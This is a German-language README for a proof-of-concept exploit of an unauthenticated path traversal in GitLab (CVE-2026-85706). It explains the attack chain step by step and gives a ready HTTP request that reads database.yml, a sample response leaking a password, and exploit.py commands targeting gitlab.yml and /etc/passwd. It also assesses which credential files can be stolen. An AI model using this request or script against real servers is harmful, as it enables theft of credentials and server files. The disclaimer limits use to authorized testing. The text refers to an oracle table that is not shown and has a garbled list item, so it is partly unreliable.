CVE-2026-85706: GitLab CE/EE nicht authentifizierter Path Traversal

• CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
• Komponente: GitLab CE/EE Repository Commits API (Workhorse body-upload-Variante)
• Betroffen: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
• Behoben: 19.1.8 / 19.2.6 / 19.3.2 (kritischer Patch veröffentlicht am 2026-09-10)
• Auswirkung: Ohne jegliches Konto beliebige lokale Dateien auf dem Server per Path Traversal auslesen; ob der Inhalt zurückgegeben wird, hängt von der Zieldatei ab und bildet ein vierstufiges Orakel (siehe „Echo-Grenzen")

Angriffskette

GitLabs „Commit erstellen"-API (POST /api/v4/projects/:id/repository/commits) erlaubt es, in einer einzigen Anfrage große Mengen an Dateiinhalten mitzuführen. Um zu verhindern, dass übergroße Request-Bodies direkt in den Rails-Parser gelangen, schreibt Workhorse den Request-Body zunächst als temporäre Datei auf die Festplatte und injiziert dann Metadaten wie file.path / file.size in die weitergeleitete Anfrage; der Rails-Endpunkt liest die Datei anhand dieser Parameter zurück. Die Angriffskette setzt sich aus vier Gliedern zusammen:

1. Authentifizierung erfolgt nach dem Dateilesen: Der Einstiegspunkt post ':id/repository/commits' enthält nur require_gitlab_workhorse! (prüft lediglich, ob die Anfrage „über Workhorse weitergeleitet" wurde); die eigentliche authenticate! verbirgt sich weiter hinten in authorize_push_to_branch!, während das Path-Traversal-Lesen davor stattfindet.
2. Auf-Festplatte-Metadaten stammen aus Request-Parametern: file_params_from_body_upload behandelt die Request-Parameter file.path / file.size / Content-Type direkt als von Workhorse injizierte Metadaten, ohne die Herkunft der Parameter zu unterscheiden; File.read(file_path) kann so jeden beliebigen lokalen Pfad durchlaufen.
3. Rack-Parserfehler wird zurückgegeben: Bei Content-Type=application/x-www-form-urlencoded wird der Dateiinhalt an Rack::Utils.parse_nested_query zur Analyse übergeben; eine ungültige %-Sequenz im Inhalt löst ArgumentError: invalid %-encoding (<Komponenteninhalt>) aus, was über bad_request! unverändert in die 400-Antwort zurückgegeben wird. Es gilt „wer zuerst kommt, mahlt zuerst": & / = sind Komponentengrenzen, die Analyse bricht an der Komponente mit dem ersten ungültigen % ab und gibt diese Komponente zurück; ohne Trennzeichen wird die gesamte Datei als eine Komponente zurückgegeben (gültige %xx-Hex-Escapes lösen keinen Fehler aus).
4. Trailing Slash umgeht die Workhorse-Umschreibung: Ein direkter Aufruf des Hauptendpunkts trifft auf die body-upload-Abfangregel von Workhorse (strikte Übereinstimmung mit .../repository/commits\z), wodurch die gefälschten Parameter in den Inhalt der auf Festplatte geschriebenen Datei geschluckt werden. Ein / am Ende der URL passt nicht auf diese Regel und fällt in den signierten Reverse-Proxy als Fallback – der ursprüngliche Request-Body wird samt gefälschter Parameter unverändert an Rails weitergeleitet und trägt ein gültiges JWT, sodass require_gitlab_workhorse! durchläuft; nach der Grape-Normalisierung des Trailing Slash trifft die Anfrage weiterhin auf den verwundbaren Handler.

Voraussetzung: Das :id in der URL muss ein tatsächlich existierendes Projekt sein (ein beliebiges öffentliches Projekt genügt); es ist durchgehend keine Anmeldung erforderlich.

Ausnutzungsanfrage (database.yml bei Deployment mit externer DB; enthält das Passwort eine ungültige %-Sequenz, wird der gesamte Abschnitt zurückgegeben):

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Antwort (die Komponente mit dem ersten ungültigen % wird vollständig zurückgegeben):

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Echo-Grenzen (vierstufiges Orakel)

Das Lesen erfolgt unter der Identität des git-Benutzers des Puma-Prozesses; die Antwort bildet ein vierstufiges Orakel:

Tatsächlich lesbarer Bereich unter Standard-Deployment (praktisch getestet):

• Das Hauptbetätigungsfeld für das Lesen von Inhalten sind Dateien, die natürlicherweise % enthalten: CI-Build-Logs und -Artefakte, von Benutzern hochgeladene Anhänge, database.yml bei Deployment mit externer DB. Bei der standardmäßigen lokalen Socket-Peer-Authentifizierung ist das Passwortfeld in database.yml leer; nur bei Deployment mit externer DB hat es einen Wert.
• gitlab.yml: Die gerenderten Template-Kommentare enthalten bereits ab dem Dateikopf (etwa Zeile 19) Sequenzen wie 95%, %{key}, während die Credential-Konfigurationen (incoming_email, LDAP, Objektspeicher usw.) erst nach Zeile 170 stehen – „wer zuerst kommt, mahlt zuerst" bedeutet, dass unter Standard-Deployment nur der Kopfabschnitt zurückgegeben werden kann, der Credential-Abschnitt nicht ausgelesen werden kann; nur in Deployment-Varianten ohne störende Sequenzen (benutzerdefinierte Templates usw.) ist er lesbar. Zu beachten ist außerdem, dass das SMTP-Passwort (gitlab_rails['smtp_password']) nicht in gitlab.yml gerendert wird; tatsächlich hineingerendert werden incoming_email-, LDAP- und object_store-Credentials.
• secrets.yml besteht aus reinem Hex ohne %, der Inhalt kann nicht ausgelesen werden (401); , TLS-Privatschlüssel und Backup-Archive sind root-only (nur 500-Orakel).

Skriptverwendung

Implementierung mit der Python-3-Standardbibliothek, keine Drittanbieter-Abhängigkeiten. Das Skript interpretiert die vierstufigen Ergebnisse gemäß der obigen Tabelle automatisch.

python3 exploit.py -t http://<target>:<port>        # liest standardmäßig gitlab.yml (schnelle Verifikation des Echos)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Beispielausgabe (Standard-Deployment liest gitlab.yml – zurückgegeben wird der Kopfabschnitt, nicht der Credential-Abschnitt):

============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Nur für autorisierte Sicherheitstests und Schwachstellenforschung.